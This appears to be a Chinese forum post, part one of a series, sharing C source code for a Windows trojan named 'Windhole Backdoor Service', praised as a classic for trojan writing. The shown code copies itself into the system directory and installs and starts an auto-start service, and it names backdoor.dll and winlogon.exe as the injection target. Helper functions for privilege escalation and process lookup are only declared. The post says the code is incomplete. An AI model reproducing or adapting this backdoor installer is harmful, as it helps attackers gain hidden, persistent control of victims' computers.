dll插入系统进程的源码！算是写木马的经典了(1)

贴点别人的源码，不错的！有详细的注释
代码不全，这是涉及主要的部分！
里面有涉及普通常用且又重要的编程思路，所以贴出来啦！

自己是菜鸟，自己不懂藏着也没用,希望对你有用哦
/*---------------------------------------------------------------------
//mysvr.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2002.8.11
//Last modify date: 2003.10.28
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
//Header
#include "bkdlldata.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <winsvc.h>
//---------------------------------------------------------------------
//Global constant
char SERVICENAME[9] = "windhole";
const char DISPLAYNAME[33] = "Windhole Backdoor Service";
const char SRVFILENAME[13] = "windhole.exe";
const char BDRFILENAME[13] = "backdoor.dll";
const char DESTPROC[19] = "winlogon.exe";
//---------------------------------------------------------------------
//Glabal variable
SERVICE_STATUS MyServiceStatus;
SERVICE_STATUS_HANDLE MyServiceStatusHandle;
int WillStop = 0;
//---------------------------------------------------------------------
//Function declaration
int AddPrivilege(const char *Name);
void MyServiceStart (int argc, char *argv[]);
void MyServiceCtrlHandler (DWORD opcode);
DWORD MyWrokThread(void);
DWORD ProcessToPID(const char *InputProcessName);
//---------------------------------------------------------------------
//Function definition
int main(int argc,char *argv[])
{
//如果参数为“-service”就作为服务启动
if ((argc >= 2) && (!lstrcmp(argv[1],"-service")))
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{SERVICENAME, (LPSERVICE_MAIN_FUNCTION)MyServiceStart},
{NULL, NULL}
};

if (!StartServiceCtrlDispatcher( DispatchTable))
{
return 1;
}

return 0;
}

//否则就自动安装服务
//复制自身到系统目录
char DestName[MAX_PATH + 1];
char NowName[MAX_PATH + 1];

ZeroMemory(DestName,MAX_PATH + 1);
ZeroMemory(NowName,MAX_PATH + 1);

if (!GetSystemDirectory(DestName,MAX_PATH))
{
printf("GetSystemDirectory() error = %d\nInstall failure!\n",GetLastError());
return 1;
}

lstrcat(DestName,"\\");
lstrcat(DestName,SRVFILENAME);

if (!GetModuleFileName(NULL,NowName,MAX_PATH))
{
printf("GetModuleFileName() error = %d\nInstall failure!\n",GetLastError());
return 1;
}


if (!CopyFile(NowName,DestName,0))
{
printf("CopyFile() error = %d\nInstall failure!\n",GetLastError());
return 1;
}

//安装服务
SC_HANDLE newService, scm;
//连接SCM
if (!(scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE)))
{
printf("OpenSCManager() error = %d\nInstall failure!\n",GetLastError());
return 1;
}

//当作为服务启动时加上“-service”参数
lstrcat(DestName," -service");

if (!(newService = CreateService(scm,
SERVICENAME,
DISPLAYNAME,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
DestName,
NULL, NULL, NULL, NULL, NULL)))
{
printf("CreateService() error = %d\nInstall failure!\n",GetLastError());
}
else
{
printf("Install success!\n");

char *pra[] = {"-service", "\0"};

if (!StartService(newService,1,(const char **)pra))
{
printf("StartService() error = %d\nStart service failure!\n",GetLastError());
}
else
{
printf("Start service Success!\n");
}

}

CloseServiceHandle(newService);
CloseServiceHandle(scm);
return 0;

}
//----------------------------------------------------

dll插入系统进程的源码！算是写木马的经典了(2)：【上一篇】
Win32Asm快速教程(14)：【下一篇】